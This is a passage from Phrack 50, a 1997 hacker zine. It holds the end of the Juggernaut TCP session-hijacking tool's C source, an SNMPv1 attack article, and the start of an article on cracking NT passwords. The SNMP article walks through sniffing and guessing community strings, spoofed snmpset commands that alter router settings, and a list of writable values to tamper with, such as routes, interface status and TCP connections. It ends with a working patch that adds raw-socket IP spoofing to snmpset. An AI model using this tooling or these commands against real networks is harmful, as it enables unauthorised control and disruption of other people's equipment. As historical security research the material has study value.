  6562.  
  6563. extern int verbosity;    
  6564.  
  6565.  
  6566. /*
  6567.  *  IP address into network byte order
  6568.  */
  6569.                  
  6570. unsigned long nameResolve(hostname)
  6571. char *hostname;
  6572. {
  6573.         
  6574.     struct in_addr addr;
  6575.     struct hostent *hostEnt; 
  6576.    
  6577.     if((addr.s_addr=inet_addr(hostname))==-1){
  6578.         if(!(hostEnt=gethostbyname(hostname)))return(0);
  6579.         bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
  6580.     }
  6581.     return addr.s_addr;
  6582. }
  6583.  
  6584. #ifdef FASTCHECK
  6585.  
  6586. /*
  6587.  *  Fast IP checksum routine.
  6588.  */
  6589.  
  6590. unsigned short in_cksum(buff,len)
  6591. unsigned char *buff;
  6592. int len;
  6593. {
  6594.     unsigned long sum = 0;
  6595.     if (len>3){
  6596.         __asm__("clc\n"
  6597.         "1:\t"
  6598.         "lodsl\n\t"
  6599.         "adcl %%eax, %%ebx\n\t"
  6600.         "loop 1b\n\t"
  6601.         "adcl $0, %%ebx\n\t"
  6602.         "movl %%ebx, %%eax\n\t"
  6603.         "shrl $16, %%eax\n\t"
  6604.         "addw %%ax, %%bx\n\t"
  6605.         "adcw $0, %%bx"
  6606.         : "=b" (sum) , "=S" (buff)
  6607.         : "0" (sum), "c" (len >> 2) ,"1" (buff)
  6608.         : "ax", "cx", "si", "bx" );
  6609.     }
  6610.     if(len&2){
  6611.         __asm__("lodsw\n\t"
  6612.         "addw %%ax, %%bx\n\t"      
  6613.         "adcw $0, %%bx"
  6614.         : "=b" (sum), "=S" (buff)
  6615.         : "0" (sum), "1" (buff)
  6616.         : "bx", "ax", "si");
  6617.     }
  6618.     if(len&1){
  6619.         __asm__("lodsb\n\t"
  6620.         "movb $0, %%ah\n\t"
  6621.         "addw %%ax, %%bx\n\t"
  6622.         "adcw $0, %%bx"
  6623.         : "=b" (sum), "=S" (buff)
  6624.         : "0" (sum), "1" (buff)
  6625.         : "bx", "ax", "si");
  6626.     }                     
  6627.     sum =~sum;
  6628.     return(sum&0xffff);
  6629. }
  6630.  
  6631. #else
  6632.  
  6633. /*
  6634.  *  IP Family checksum routine
  6635.  */
  6636.  
  6637. unsigned short in_cksum(ptr,nbytes)
  6638. unsigned short *ptr;
  6639. int nbytes;
  6640. {
  6641.                         
  6642.     register long sum=0;        /* assumes long == 32 bits */
  6643.     u_short oddbyte;
  6644.     register u_short answer;    /* assumes u_short == 16 bits */
  6645.         
  6646.     while(nbytes>1){
  6647.         sum+=*ptr++;
  6648.         nbytes-=2;    
  6649.     }
  6650.     if(nbytes==1){              /* mop up an odd byte, if necessary */
  6651.         oddbyte=0;              /* make sure top half is zero */
  6652.         *((u_char *)&oddbyte)=*(u_char *)ptr;   /* one byte only */
  6653.         sum+=oddbyte;
  6654.     }               
  6655.     sum+=(sum>>16);             /* add carry */
  6656.     answer=~sum;                /* ones-complement, then truncate to 16 bits */
  6657.     return(answer);
  6658. }
  6659.  
  6660. #endif 
  6661.  
  6662. /*
  6663.  *  Network byte order into IP address
  6664.  */
  6665.  
  6666. char *hostLookup(in)
  6667. unsigned long in;
  6668. {
  6669.  
  6670.     #define BUFSIZE         256
  6671.  
  6672.     char hostname[BUFSIZE]={0};
  6673.     struct in_addr addr;
  6674. #ifdef USENAME
  6675.     struct hostent *hostEnt;
  6676. #endif
  6677.    
  6678.     addr.s_addr=in;
  6679.     
  6680. #ifdef USENAME
  6681.     hostEnt=gethostbyaddr((char *)&addr,sizeof(struct in_addr),AF_INET);
  6682.     if(!hostEnt)
  6683. #endif
  6684.  
  6685.         strcpy(hostname,inet_ntoa(addr));           /* KLUDGEY. */
  6686.  
  6687. #ifdef USENAME
  6688.     else strcpy(hostname,hostEnt->h_name);
  6689. #endif
  6690.     return(strdup(hostname));
  6691. }
  6692.  
  6693. /*
  6694.  *  Simple daemonizing procedure.
  6695.  */   
  6696.  
  6697. int shadow(void){
  6698.  
  6699.     int fd,pid;
  6700.     extern int errno;
  6701.  
  6702.     signal(SIGTTOU,SIG_IGN);    /* Ignore these signals */
  6703.     signal(SIGTTIN,SIG_IGN);
  6704.     signal(SIGTSTP,SIG_IGN);
  6705.  
  6706.     switch((pid=fork())){
  6707.         case 0:                 /* Child */
  6708.             break;
  6709.         default:        
  6710.             exit(0);            /* Parent */
  6711.         case -1:
  6712.             fprintf(stderr,"Forking Error\n");
  6713.             exit(1);
  6714.     }
  6715.     setpgrp();
  6716.     if((fd=open("/dev/tty",O_RDWR))>=0){
  6717.         ioctl(fd,TIOCNOTTY,(char *)NULL);
  6718.         close(fd);
  6719.     }
  6720.     errno=0;
  6721.     chdir("/");
  6722.     umask(0);
  6723.     return(pid);
  6724. }
  6725.  
  6726.  
  6727. /*
  6728.  *  Keeps processes from zombiing on us...
  6729.  */
  6730.         
  6731. static void reaper(signo)
  6732. int signo;
  6733. {
  6734.     pid_t pid;
  6735.     int sys;
  6736.  
  6737.     pid=wait(&sys); 
  6738.     signal(SIGCHLD,reaper);
  6739.     return;
  6740. }
  6741.  
  6742.  
  6743. /*
  6744.  *  Dump usage and exit.
  6745.  */
  6746.  
  6747. void usage(nomenclature)
  6748. char *nomenclature;
  6749. {
  6750.     fprintf(stderr,"\n\nUsage:\t%s [-h] [-s TOKEN [-e xx] ] [-v] [-t xx]\n\n
  6751.     -h terse help
  6752.     -H expanded help for those 'specially challanged' people...
  6753.     -s dedicated sniffing (bloodhound) mode, in which TOKEN is found enticing
  6754.     -e enticement factor (defaults to 16)
  6755.     -v decrease verbosity (don't do this)
  6756.     -V version information
  6757.     -t xx network read timeout in seconds (defaults to 10)
  6758.     Invoked without arguments, Juggernaut starts in `normal` mode.\n\n",nomenclature);
  6759.     exit(0);
  6760. }
  6761.  
  6762.  
  6763. /*
  6764.  *  Simple file pager.
  6765.  */
  6766.  
  6767. void bookworm(){
  6768.  
  6769.     FILE *fp;
  6770.     char tempBuf[FBUFSIZE],buf[MINIBUF];
  6771.     int i=0;
  6772.  
  6773.     if(!(fp=fopen(HELPFILE,"r"))){
  6774.         if(verbosity){
  6775.             fprintf(stderr,"Cannot open help file.\n");
  6776.             fprintf(stderr,"[cr]");
  6777.             getchar();
  6778.             return;
  6779.         }
  6780.     }
  6781.     while(fgets(tempBuf,FBUFSIZE-1,fp)){
  6782.         fprintf(stderr,tempBuf);
  6783.         if(i==24){
  6784.             fprintf(stderr,"\n[cr,q] >");
  6785.             bzero(&buf,sizeof(buf));
  6786.             fgets(buf,sizeof(buf-1),stdin);
  6787.             if(buf[0]=='q')break;
  6788.             i=0;
  6789.         }
  6790.         else i++;
  6791.     }
  6792. }
  6793.  
  6794.  
  6795. /*
  6796.  *  Main signal handler to facilitate clean exits.
  6797.  */
  6798.  
  6799. void twitch(){
  6800.  
  6801.     void cleanexit();
  6802.  
  6803.     if(verbosity)fprintf(stderr,"\nCaught signal, exiting cleanly.\n");
  6804.     signal(SIGINT,SIG_DFL);
  6805.     signal(SIGQUIT,SIG_DFL);
  6806.     cleanexit();
  6807. }
  6808.  
  6809.  
  6810. /*
  6811.  *  Used as a catchall to cleanly exit proccesses
  6812.  */
  6813.  
  6814. void spasm(){
  6815.  
  6816.     extern int linksock;
  6817.  
  6818.     if(linksock)close(linksock);        /* Hunter should have this... */
  6819.     exit(0);
  6820. }
  6821.  
  6822.  
  6823. /*
  6824.  *  Spy signal handler.
  6825.  */ 
  6826.                     
  6827. void convulsion(){
  6828.  
  6829.     void twitch();
  6830.     
  6831.     extern int sigsentry;
  6832.  
  6833.     if(verbosity)fprintf(stderr,"\nCaught signal.\n");
  6834.     fprintf(stderr,"[cr]");
  6835.     getchar();
  6836.     signal(SIGINT,twitch);
  6837.     sigsentry=0;
  6838. }
  6839.  
  6840.  
  6841. /*
  6842.  *  Pre-hijacking signal handler.
  6843.  */
  6844.  
  6845. void sputter(){
  6846.  
  6847.     void twitch();
  6848.  
  6849.     extern int sigsentry;
  6850.  
  6851.     if(verbosity)fprintf(stderr,"\nCaught prehijack signal.\n");
  6852.     signal(SIGINT,twitch);
  6853.     sigsentry=0;
  6854. }      
  6855.  
  6856.  
  6857. /*
  6858.  *  Post-hijacking signal handler.
  6859.  */
  6860.  
  6861. void seizure(){
  6862.  
  6863.     void twitch();
  6864.  
  6865.     extern int sigsentry;
  6866.  
  6867.     if(verbosity)fprintf(stderr,"\nCaught posthijack signal.\n");
  6868.     sigsentry=0;
  6869.     signal(SIGINT,twitch);
  6870. }      
  6871.  
  6872. /*
  6873.  *  Exit Cleanly.
  6874.  */
  6875.  
  6876. void cleanexit(){
  6877.  
  6878.     void powerdown();
  6879.  
  6880.     extern int ripsock;
  6881.     extern int hpid;
  6882.     extern int acrstpid;
  6883.  
  6884.     close(ripsock);
  6885.     powerdown();
  6886.     if(kill(hpid,SIGUSR1))if(verbosity){    /* Send signal to the hunter */
  6887.         perror("(cleanexit) Could not signal hunter");
  6888.         fprintf(stderr,"[cr]");
  6889.         getchar();
  6890.     }
  6891.     if(acrstpid)    /* Send signal to the automated connection reset daemon. 
  6892.                        XXX - This only signals one daemon!  If more exist, 
  6893.                        they will be left stranded! */
  6894.         if(kill(acrstpid,SIGUSR1))if(verbosity){ 
  6895.         perror("(cleanexit) Could not signal ACRSTD"); 
  6896.         fprintf(stderr,"[cr]");    
  6897.         getchar();                     
  6898.         }                                  
  6899.     fprintf(stderr,"Juggernaut is a Guild Corporation production, (c) 1996/7.\n\n");
  6900.     exit(0);
  6901. }
  6902.   
  6903. <-->
  6904.  
  6905. EOF
  6906.                                 .oO Phrack 50 Oo.
  6907.  
  6908.                             Volume Seven, Issue Fifty
  6909.  
  6910.                                      7 of 16
  6911.  
  6912.                 Network Management Protocol Insecurity: SNMPv1
  6913.                                  alhambra [guild]
  6914.                               alhambra@infonexus.com
  6915.  
  6916.  
  6917. As networks have become larger and more complex, a need has been felt by 
  6918. certain portions of the network administration crowd to implement network
  6919. management protocols.  From an administrative point of view, this makes
  6920. a lot of sense; centralize the administration of the network, and make it
  6921. convenient and easy for the administrator to monitor and administer changes
  6922. as needed.  As usual, however, from the security point of view, these 
  6923. protocols are a potential for catastrophe.
  6924.  
  6925. In this article, we'll explore the world of SNMPv1.  In two later articles
  6926. (to be published in later issues of Phrack) we'll look into other network 
  6927. management schemes (SNMPv2, DCE, etc).  SNMPv1 has been around for a while.  
  6928. In fact, a number of the problems outlined in this paper have been fixed
  6929. with the release of SNMPv2.  As usual, however, large networks who placed
  6930. their original administration burdens on SNMPv1 have been slow to change.
  6931. As a result, large corporations, universities, and some small/cheap ISP's 
  6932. still run their routers/hubs/bridges/hosts/etc with version 1 enabled, often
  6933. in horribly set up configurations.  
  6934.  
  6935. The SNMP protocol
  6936.  
  6937. The SNMP protocol has 5 simple types of messages.  They are get-request,
  6938. get-next-request, set-request, get response and trap.  We will concentrate
  6939. on using the get-* messages to retrieve information from remote sites, routers
  6940. and the like, and the set-request to manipulate a variety of settings on our
  6941. target.
  6942.  
  6943. SNMP uses UDP as it transport mechanism.  The basic layout of an SNMP packet
  6944. is:
  6945. +-----------------------------------------------------------------------------+
  6946. |IP |UDP|Version|Community|PDU |Request|err.|err. |name|value|name|value| ... |
  6947. |Hdr|Hdr|       |         |Type|  ID   |stat|index|    |     |    |     |     |
  6948. +-----------------------------------------------------------------------------+
  6949.  
  6950. Community is SNMP's authentication mechanism.  PDU type is the type of message
  6951. being sent (get-request, set request, etc.)  Request ID is used to 
  6952. differentiate between requests. Error status is (obviously) used to transport 
  6953. error messages, and error index gives the offset of the variable which was in
  6954. error.  Finally, name and value represent the name of the field requested and 
  6955. either the value to set it to or the value of it on the remote server.  These 
  6956. are defined by a MIB written in ASN.1, and encoded using a code called BER. 
  6957. ASN.1 is used to define data and the types and properties of this data.  
  6958. BER is used to actually transmit the data in a platform independent manner 
  6959. (similar perhaps to XDR.)  
  6960.  
  6961. The values that can be fetched and set via SNMP are defined in what is called
  6962. the Message Information Base or MIB.  The MIB is written in ASN.1, and defines
  6963. all the different variable classes, types, variables and whatnot associated
  6964. with SNMP.  Standard things in the MIB are classes used to define variables
  6965. associated with data for statistics and values for the system as a whole, the
  6966. interfaces on the system, (possibly) an address translation table, IP, TCP,
  6967. UDP, ICMP, and so on, depending on just what kind of system the agent is
  6968. running on. 
  6969.  
  6970. Where exactly do SNMPv1's security flaws lie?  We can narrow them down to
  6971. 4 general problem areas:
  6972. 1) Use of UDP as a transport mechanism
  6973. 2) Use of clear text community names and the presence 
  6974.     of default, overpriveleged communities
  6975. 3) Information avaialable
  6976. 4) Ability to remotely modify parameters.
  6977.  
  6978. They're all related to one another.  We'll go through one by one, define
  6979. the problem, and explain how it is exploitable.  Unfortunately, most of 
  6980. SNMPv1 (from here on out, we'll just call it SNMP) problems stem from its 
  6981. design, and have no easy solution barring the move to SNMPv2 or some other 
  6982. network management protocol.  Some common sense, however, can minimize the 
  6983. problems in most situations.
  6984.  
  6985.  
  6986.  
  6987. UDP as a transport mechanism
  6988.  
  6989.   I know I'm not alone in feeling that UDP is, at best, a poor idea when
  6990. used in any sort of application that requires any level of security.  The
  6991. fact that UDP is connectionless leads to a myriad of problems with
  6992. regard to host based authentication, which unfortunately enough, SNMP uses
  6993. as one of its mechanisms.  So we have 2 basic attacks due to the fact that
  6994. a UDP transport is used.  First, we can easily spoof packets to a server, and
  6995. modify/add/reconfigure the state of the server.  As we're using a spoofed
  6996. source address, there isn't any way to get the return message, but the 
  6997. machine we are spoofing will simply drop the response message, and the server
  6998. is none the wiser.  Using our 'snmpset' program which has been modified to
  6999. use a raw socket to allow us to forge the source address, we can modify any
  7000. value in the MIB defined as read-write ASSUMING WE HAVE A PRIVELEGED COMMUNITY
  7001. NAME.  
  7002.  
  7003. snmpset -v 1 -e 10.0.10.12 router.pitiful.com cisco00\
  7004.         system.sysName.0 s "owned"
  7005.  
  7006. Changes our the router name to 'owned', just in case we want to be really
  7007. obvious that this router has crappy security.
  7008.  
  7009. But how do we go about getting a legitimate community name?  We have a few
  7010. different methods we can employ.
  7011.  
  7012.  
  7013. Use of cleartext community names, and default communities
  7014.  
  7015.    One of the most laughable things about the SNMP protocol is its 
  7016. "authentication" method.  I use the term authentication in the loosest
  7017. sense only, as it makes me cringe when I think about it.  SNMP only
  7018. can authenticate based on two different elements.  The source address, as
  7019. we saw above, it trivial to forge, rendering address based authentication
  7020. useless.  The second method is the use of "community" names.  Community names
  7021. can be thought of as passwords to the SNMP agent.  As easily as plaintext
  7022. password can be sniffed from telnet, rlogin, ftp and the like, we can sniff
  7023. them from SNMP packets.  As a matter of fact, it's easier, as every SNMP
  7024. packet will have the community name.  Grab your favorite sniffer (sniffer, not
  7025. password sniffer) and head over to your favorite segement running SNMP.  My
  7026. sniffer of choice is 'snoop' so I'll use it as my example, though using any
  7027. other sniffer should be easy.  SNMP uses port 161.  The field we're after, the
  7028. community, is typically 6-8 characters long.  Cranking up snoop on my segment
  7029. reveals the following. (IP's changed to protect the stupid, of course)
  7030.  
  7031. # snoop -x 49,15 port 161
  7032. Using device /dev/le (promiscuous mode)
  7033. 10.20.48.94 -> 10.20.19.48 UDP D=161 S=1516 LEN=62
  7034.  
  7035.            0: 0572 3232 3135 a028 0202 009c 0201 0002    .r4485.(.......
  7036.  
  7037. There we go.  Using this community name we're able to grab all the info
  7038. we want, and modify all the parameter and whatnot we desire.  Easy enough...
  7039. if you're able to sniff the segment.  But what happens when you can't?
  7040.  
  7041.  
  7042. Available Information
  7043.  
  7044. When you can't sniff the segment, life gets a little more complicated.  But
  7045. only a little.  We have a few things on our side that may come in handy.  
  7046. First off, almost always there is a default 'public' community.  Very few 
  7047. admin's take the time to deactivate this community, nor realize the risk it
  7048. poses.  Using this community, we can usually read all the information we want.
  7049. Quite often, being able to read the information gives us enough clues to
  7050. try to brute force a legitimate community name.
  7051.  
  7052. snmpwalk -v 1 router.pitiful.com public system
  7053. will dump the contents of the system table to us, returning something like:
  7054.  
  7055. system.sysDescr.0 = "Cisco Internetwork Operating System Software ..IOS (tm) GS
  7056. Software (RSP-K-M), Version 11.0(4), RELEASE SOFTWARE (fc1)..Copyright (c) 1986
  7057. -1995 by cisco Systems, Inc...Compiled Mon 18-Dec-95 22:54 by alanyu"
  7058. system.sysObjectID.0 = OID: enterprises.Cisco.1.45
  7059. system.sysUpTime.0 = Timeticks: (203889196) 23 days, 14:21:31
  7060. system.sysContact.0 = "Jeff Wright"
  7061. system.sysName.0 = "hws"
  7062. system.sysLocation.0 = ""
  7063. system.sysServices.0 = 6
  7064.  
  7065. We see that we're dealing with a cisco router, and we see it's contact's name,
  7066. and the system name.  Same as we might do with guessing passwords, we can use
  7067. this information to try to piece together a community name.  Popular favorites
  7068. include stuff like 'admin' 'router' 'gateway' and the like, combined with
  7069. numbers or whatnot.  Trying something like 'routerhws' for the above example
  7070. might work.  It might not.  While failed attempts are noted, very few people,
  7071. if any, ever check for them.  (as it turns out, the above router had a 
  7072. community name of 'cisco00'.  Imaginative, eh?)  
  7073.  
  7074. Even if only public works, there's lots of interesting things available via
  7075. SNMP.  We can dump routing tables, connection tables, statistics on router use.
  7076. In certain situations, we can even get information on packet filters in place,
  7077. and access control rules. All are useful information to have in setting up 
  7078. attacks in conventional manners.   Sometimes public is even given r/w on
  7079. certain tables, and we can do most of what we need to do via that account.
  7080. When we do have a priveledged community though, the fun begins.
  7081.  
  7082.  
  7083. Remote Manipulation via SNMP
  7084.  
  7085. We have all the elements we need to remotely configure the network.  We have
  7086. a community name, we have the ability to forge the manager (the SNMP client)
  7087. address.  All we need to figure out is what we can modify.  This really 
  7088. varies.  There are a set of defaults that almost every SNMP'able machine
  7089. will have.  In addition to these, though, are the 'enterprise' MIB's, which
  7090. define vendor specific SNMP tables and fields.  There's really too much to go
  7091. into here.  Check out ftp://ftp.cisco.com/ or ftp://ftp.ascend.com/ , for
  7092. example...most vendors make their MIB's easy to find.  Cisco's web page also
  7093. has a great introduction to their enterprise MIB's, which detail all the
  7094. differences between different IOS release levels and whatnot.
  7095. IN the meantime, though, check out the following as fun places to begin:
  7096.  
  7097. system.sysContact   \
  7098. system.sysName       |- really sorta pointless to change, but hey...whatever.
  7099. system.sysLocation  /
  7100.  
  7101. interfaces.ifTable.ifAdminStatus.n (where n is a number, starting at 0)
  7102.  
  7103. at.atTable.atIfIndex.n
  7104. at.atTable.atPhysAddress.n
  7105. at.atTable.atNetAddress.n
  7106.  
  7107. ip.ipForwarding
  7108. ip.ipDefaultTTL
  7109. ip.ipRouteTable.* (there's tons of stuff in this table)
  7110. ip.ipNetToMediaTable.* (same as above)
  7111.  
  7112. tcp.tcpConnState.* (only setable to 12, which deletes the TCB)
  7113.  
  7114. and so on.  If you have a copy of TCP/IP Illustrated Vol. 1, the SNMP chapter
  7115. will give you a set of tables with the types of all these values.  If you don't
  7116. have TCP/IP Illustrated, get off your computer and go buy it.
  7117.  
  7118. Remember, people don't really like it too much when you muck with their 
  7119. equipment.  Act responsibly.  
  7120.  
  7121. And to the admins reading this: TURN OFF SNMPv1!  Think about it.  Any time
  7122. you allow control of you network via the network in a manner as unsafe as
  7123. how SNMPv1 does it, you're creating more problems for yourself.  Realizing
  7124. its all about acceptable risks, realize this isn't one.  Go investigate 
  7125. alternate network management software.  Realize, however, there are always
  7126. going to be problems.  (I don't recommend SNMPv2, however...a few months from
  7127. now when I release my SNMPv2 article and tools, you'll be glad you are not
  7128. running it)
  7129.  
  7130. Resources:
  7131. The software I use is based on the UCD modifications to the CMU SNMP 
  7132. distribution.  It is available at:
  7133.  
  7134. ftp://ftp.ece.ucdavis.edu/pub/snmp/ucd-snmp-3.1.3.tar.gz
  7135.  
  7136. Following this article there is a patch, which are the modifications to
  7137. the snmplib to support address spoofing, and modifications to the 'snmpset'
  7138. app to support them.  The patch is only known to work under Solaris, though
  7139. it should take only minor changes to move it to any other platform.
  7140.  
  7141. ftp.cisco.com/pub/mibs and ftp.ascend.com/pub/Software-Releases/SNMP/MIBS
  7142. contain the enterprise MIBS for a variety of different pieces of hardware.
  7143. www.cisco.com/univercd/ contains tons of info on a variety of different 
  7144. Cisco hardware and software, including great references on SNMP under IOS.
  7145.  
  7146. http://www.cs.tu-bs.de/ibr/cgi-bin/sbrowser.cgi
  7147.  
  7148. has a MIB browser, which allows you to use your favorite web client to
  7149. peruse the standard as well as vendor MIBs  on thier site.
  7150.  
  7151. RFC's!  Yes!  All of them.  Go to http://www.internic.net/ds/dspg0intdoc.html
  7152. and read them.  Do a search for SNMP and you'll get back tons of hits.  
  7153. They're a little...hrm...terse at times, but these are the defacto definitions
  7154. of SNMP.  Skimming them will give you more info than you can imagine.
  7155.  
  7156.  
  7157. <++> SNMPv1/snmp.diff
  7158. *** apps/snmpset.c      Mon Jan 20 09:07:22 1997
  7159. -- apps/snmpset.c       Tue Apr  8 17:21:03 1997
  7160. ***************
  7161. *** 77,83 ****
  7162.   
  7163.   void
  7164.   usage(){
  7165. !     fprintf(stderr, "Usage: snmpset -v 1 [-q] hostname community [objectID typ
  7166. e value]+    or:\n");
  7167.       fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname noAuth [objectID type
  7168.  value]+     or:\n");
  7169.       fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname srcParty dstParty con
  7170. text [oID type val]+\n");
  7171.       fprintf(stderr, "\twhere type is one of: i, s, x, d, n, o, t, a\n");
  7172. --- 77,83 ----
  7173.   
  7174.   void
  7175.   usage(){
  7176. !     fprintf(stderr, "Usage: snmpset -v 1 [-e fakeip] [-q] hostname community [
  7177. objectID type value]+    or:\n");
  7178.       fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname noAuth [objectID type
  7179.  value]+     or:\n");
  7180.       fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname srcParty dstParty con
  7181. text [oID type val]+\n");
  7182.       fprintf(stderr, "\twhere type is one of: i, s, x, d, n, o, t, a\n");
  7183. ***************
  7184. *** 85,90 ****
  7185. --- 85,93 ----
  7186.       fprintf(stderr, "\t\tn: NULLOBJ, o: OBJID, t: TIMETICKS, a: IPADDRESS\n");
  7187.   }
  7188.   
  7189. + extern char *fakeaddr;
  7190. + extern int nastyflag;
  7191.   int
  7192.   main(argc, argv)
  7193.       int           argc;
  7194. ***************
  7195. *** 152,158 ****
  7196.                           usage();
  7197.                           exit(1);
  7198.                       }
  7199. !                     break;
  7200.                 default:
  7201.                     printf("invalid option: -%c\n", argv[arg][1]);
  7202.                     break;
  7203. --- 155,165 ----
  7204.                           usage();
  7205.                           exit(1);
  7206.                       }
  7207. !                   break;
  7208. !               case 'e':
  7209. !                       fakeaddr = argv[++arg];
  7210. !                       nastyflag = 1;
  7211. !                       break;
  7212.                 default:
  7213.                     printf("invalid option: -%c\n", argv[arg][1]);
  7214.                     break;
  7215. *** snmplib/snmp_api.c  Mon Jan 20 10:43:20 1997
  7216. -- snmplib/snmp_api.c   Tue Apr  8 17:21:08 1997
  7217. ***************
  7218. *** 58,63 ****
  7219. --- 58,71 ----
  7220.   #include <sys/select.h>
  7221.   #endif
  7222.   #include <sys/socket.h>
  7223. + #include <netinet/in_systm.h>
  7224. + #include <netinet/in.h>
  7225. + #include <netinet/ip_var.h>
  7226. + #include <netinet/ip.h>
  7227. + #include <netinet/udp.h>
  7228. + #include <netinet/udp_var.h>
  7229. +  
  7230.   #include <netdb.h>
  7231.   #include "asn1.h"
  7232.   #include "snmp.h"
  7233. ***************
  7234. *** 847,852 ****
  7235. --- 855,882 ----
  7236.       }
  7237.       return 0;
  7238.   }
  7239. + /* EVIL STUFF in_cksum for forged ip header */
  7240. + unsigned short in_cksum(addr, len)
  7241. +     u_short *addr;
  7242. +     int len;
  7243. + {
  7244. +     register int nleft = len;
  7245. +     register u_short *w = addr;
  7246. +     register int sum = 0;
  7247. +     u_short answer = 0;
  7248. +     while (nleft > 1)  {
  7249. +         sum += *w++;
  7250. +         nleft -= 2;
  7251. +     }
  7252. +     if (nleft == 1) {
  7253. +         *(u_char *)(&answer) = *(u_char *)w ;
  7254. +         sum += answer;
  7255. +     }
  7256. +     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  7257. +     sum += (sum >> 16);         /* add carry */
  7258. +     answer = ~sum;              /* truncate to 16 bits */
  7259. +     return(answer);
  7260. + }
  7261.   
  7262.   /*
  7263.    * Sends the input pdu on the session after calling snmp_build to create
  7264. ***************
  7265. *** 857,862 ****
  7266. --- 887,894 ----
  7267.    * On any error, 0 is returned.
  7268.    * The pdu is freed by snmp_send() unless a failure occured.
  7269.    */
  7270. + char *fakeaddr = NULL;
  7271. + int nastyflag = 0;
  7272.   int
  7273.   snmp_send(session, pdu)
  7274.       struct snmp_session *session;
  7275. ***************
  7276. *** 1013,1026 ****
  7277.         xdump(packet, length, "");
  7278.           printf("\n\n");
  7279.       }
  7280.   
  7281. !     if (sendto(isp->sd, (char *)packet, length, 0,
  7282. !              (struct sockaddr *)&pdu->address, sizeof(pdu->address)) < 0){
  7283. !       perror("sendto");
  7284. !       snmp_errno = SNMPERR_GENERR;
  7285. !       return 0;
  7286. !     }
  7287.   /*    gettimeofday(&tv, (struct timezone *)0); */
  7288.       tv = Now;
  7289.       if (pdu->command == GET_REQ_MSG || pdu->command == GETNEXT_REQ_MSG
  7290. --- 1045,1099 ----
  7291.         xdump(packet, length, "");
  7292.           printf("\n\n");
  7293.       }
  7294. +    if(nastyflag == 1)
  7295. +       {
  7296. +         struct ip *ip_hdr;
  7297. +         struct udphdr *udp_hdr;
  7298. +         char *payload;
  7299. +         int socky;
  7300. +         struct sockaddr_in dest;
  7301. +         payload = (char*) malloc
  7302. +                 (sizeof(struct ip)
  7303. +                  + (sizeof(struct udphdr)) + length);
  7304. +         ip_hdr = (struct ip*) payload;
  7305. +         ip_hdr->ip_v=4;
  7306. +         ip_hdr->ip_hl=5;
  7307. +         ip_hdr->ip_tos=0;
  7308. +         ip_hdr->ip_off=0;
  7309. +         ip_hdr->ip_id=htons(1+rand()%1000);
  7310. +         ip_hdr->ip_ttl=255;
  7311. +         ip_hdr->ip_p=IPPROTO_UDP;
  7312. +         ip_hdr->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + len
  7313. gth);
  7314. +         ip_hdr->ip_src.s_addr = inet_addr(fakeaddr);
  7315. +         ip_hdr->ip_dst = pdu->address.sin_addr;
  7316. +         ip_hdr->ip_sum = in_cksum(&ip_hdr,sizeof(ip_hdr));
  7317. +  
  7318. +         udp_hdr = (struct udphdr *) (payload + sizeof(struct ip));
  7319. +         udp_hdr->uh_sport = htons(10000+rand()%20000);
  7320. +         udp_hdr->uh_dport = htons(161);
  7321. +         udp_hdr->uh_ulen = htons(length + sizeof(struct udphdr));
  7322. +         udp_hdr->uh_sum = 0;
  7323. +         memcpy(payload + sizeof(struct udphdr)+sizeof(struct ip),packet,length
  7324. );
  7325. +         dest.sin_family = AF_INET;
  7326. +         dest.sin_port = htons(161);
  7327. +         dest.sin_addr = pdu->address.sin_addr;
  7328. +         socky = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
  7329. +         fprintf(stderr,"Payload size:%d sent\n",sendto(socky,payload,28+length
  7330. ,0,
  7331. +                                      (struct sockaddr *)&dest,sizeof(dest)));
  7332. +       exit(0);
  7333.   
  7334. !       }
  7335. !       else
  7336. !       {
  7337. !               if (sendto(isp->sd, (char *)packet, length, 0,
  7338. !                  (struct sockaddr *)&pdu->address, 
  7339. !                          sizeof(pdu->address)) < 0)
  7340. !                 {
  7341. !                       perror("sendto");
  7342. !                       snmp_errno = SNMPERR_GENERR;
  7343. !                       return 0;
  7344. !                 }
  7345. !          }
  7346.   /*    gettimeofday(&tv, (struct timezone *)0); */
  7347.       tv = Now;
  7348.       if (pdu->command == GET_REQ_MSG || pdu->command == GETNEXT_REQ_MSG
  7349. <--> SNMPv1/snmp.diff
  7350.                                 .oO Phrack 50 Oo.
  7351.  
  7352.                             Volume Seven, Issue Fifty
  7353.  
  7354.                                      8 of 16
  7355.  
  7356. Cracking NT Passwords
  7357. by Nihil
  7358.  
  7359. Recently a breakthrough was made by one of the Samba team members, Jeremy
  7360. Allison, that allows an administrator to dump the one-way functions (OWF)
  7361. of the passwords for each user from the Security Account Manager (SAM)
  7362. database, which is similar to a shadowed password file in *nix terms.  The
  7363. program Jeremy wrote is called PWDUMP, and the source can be obtained from
  7364. the Samba team's FTP server.  This is very useful for administrators of
  7365. Samba servers, for it allows them to easily replicate the user database
  7366. from Windows NT machines on Samba servers.  It also helps system 
  7367. administrators and crackers in another way: dictionary attacks against
  7368. user's passwords.  There is more, but I will save that for later.
  7369.  
  7370. Windows NT stores two hashes of a user's password in general: the LanMan
  7371. compatible OWF and the NT compatible OWF.  The LanMan OWF is generated by
  7372. limiting the user's password to 14 characters (padding with NULLs if it is
  7373. shorter), converting all alpha characters to uppercase, breaking the 14
  7374. characters (single byte OEM character set) into two 7 byte blocks,
  7375. expanding each 7 byte block into an 8 byte DES key with parity, and
  7376. encrypting a known string, {0xAA,0xD3,0xB4,0x35,0xB5,0x14,0x4,0xEE}, with
  7377. each of the two keys and concatenating the results.  The NT OWF is created
  7378. by taking up to 128 characters of the user's password, converting it to
  7379. unicode (a two byte character set used heavily in NT), and taking the MD4
  7380. hash of the string.  In practice the NT password is limited to 14
  7381. characters by the GUI, though it can be set programmatically to something
  7382. greater in length.
  7383.  
  7384. The demonstration code presented in this article does dictionary attacks
  7385. against the NT OWF in an attempt to recover the NT password, for this is
  7386. what one needs to actually logon to the console.  It should be noted that
  7387. it is much easier to brute force the LanMan password, but it is only used
  7388. in network authentication.  If you have the skillz, cracking the LanMan
  7389. password can take you a long way towards cracking the NT password more
  7390. efficently, but that is left as an exercise for the reader ;>
  7391.  
